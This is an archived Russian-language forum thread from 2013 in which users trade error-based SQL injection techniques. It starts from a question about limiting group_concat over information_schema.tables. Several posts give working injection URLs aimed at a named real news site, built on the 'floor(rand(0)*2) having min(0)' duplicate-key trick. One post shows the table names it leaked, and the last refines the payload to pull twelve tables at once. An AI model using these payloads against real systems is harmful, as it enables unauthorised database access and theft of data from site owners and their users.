Просмотр полной версии : Вопрос по group_concat
можно как-то в запросе select+group_concat(table_name) from information_schema.tables
групировать не все таблици а только 10 например??
winstrool
17.10.2013, 22:49
qaz said:
можно как-то в запросе select+group_concat(table_name) from information_schema.tables
групировать не все таблици а только 10 например??
Можно, если место group_concat() использовать хотябы concat(). group_concat() c лимитами не работает!
winstrool said:
Можно, если место group_concat() использовать хотябы concat(). group_concat() c лимитами не работает!
при запросе с concat() пишет, Subquery returns more than 1 row нужен другой вариант
qaz said:
при запросе с concat() пишет, Subquery returns more than 1 row нужен другой вариант
Winstrool все правильно сказал!
PHP:
mysql>select concat(table_name)from information_schema .tables limit 6;
PHP:
+---------------------------------------+
|concat(table_name) |
+---------------------------------------+
|CHARACTER_SETS|
|COLLATIONS|
|COLLATION_CHARACTER_SET_APPLICABILITY|
|COLUMNS|
|COLUMN_PRIVILEGES|
|ENGINES|
+---------------------------------------+
6 rows in set(0.01 sec)
UXOR said:
Winstrool все правильно сказал!
да не, не тот вариант ((
PHP:
http://newsukraine.org.ua/idv.php?id=107%27+or+1+group+by+concat%28%28select +concat%28table_name%29%20from%20information_schem a.tables%20limit%206%29,0x00,floor%28rand%280%29*2 %29%29having+min%280%29+or+1--+
winstrool
18.10.2013, 07:10
qaz said:
да не, не тот вариант ((
PHP:
http://newsukraine.org.ua/idv.php?id=107%27+or+1+group+by+concat%28%28select +concat%28table_name%29%20from%20information_schem a.tables%20limit%206%29,0x00,floor%28rand%280%29*2 %29%29having+min%280%29+or+1--+
Уважаемый, помойму вы что то начинаите путать, вопервых сдесь вопросы по самой БД, а не по тому как крутить скули в еrror'e, во вторых для этого есть отдельная ветка где решаются подобные вопросы и вы об этом прекрасно знаите /thread46016.html, в третих, error выводит ограниченное колличество знаков, в результате чего по вашей просьбе вывести 10 табл не возможно, крутите по одной
http://newsukraine.org.ua/idv.php?id=107%27+or+1+group+by+concat%28%28select +concat%28table_name%29%20from%20information_schem a.tables%20limit%201,1%29,0x00,floor%28rand%280%29 *2%29%29having+min%280%29+or+1--+
winstrool said:
Уважаемый, помойму вы что то начинаите путать, вопервых сдесь вопросы по самой БД, а не по тому как крутить скули в еrror'e, во вторых для этого есть отдельная ветка где решаются подобные вопросы и вы об этом прекрасно знаите /thread46016.html, в третих, error выводит ограниченное колличество знаков, в результате чего по вашей просьбе вывести 10 табл не возможно, крутите по одной
Согласен,что пост не в той теме, но qazзадал интересный вопрос.
Все правильно, в error существует ограничение на вывод, но все-таки возможен вывод более 1 таблицы.
www.newsukraine.org.ua/idv.php?id=107'+or+1+group+by+concat((select+
(insert(0x3a,1,0,insert(0x3a,1,0,table_name)))s from information_schema.tables group by s limit 20,1)
,0x00, floor(rand(0)*2))+having+min(0)+or+1+--+
Вывод:
Duplicate entry '
gorod
categ
typ
spam
site_ip
site
rassilka
pols
object
land
informer
gorod
c' for key 'group_key'
Как видим,что вывелось 12 таблиц
Запрос совсем костыльный, но работает. Так,что qaz, есть куда копать.
UPD
Если есть возможность, перенесите,пожалуйста, последние 7 постов в тему "Ваши вопросы по уязвимостям".
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot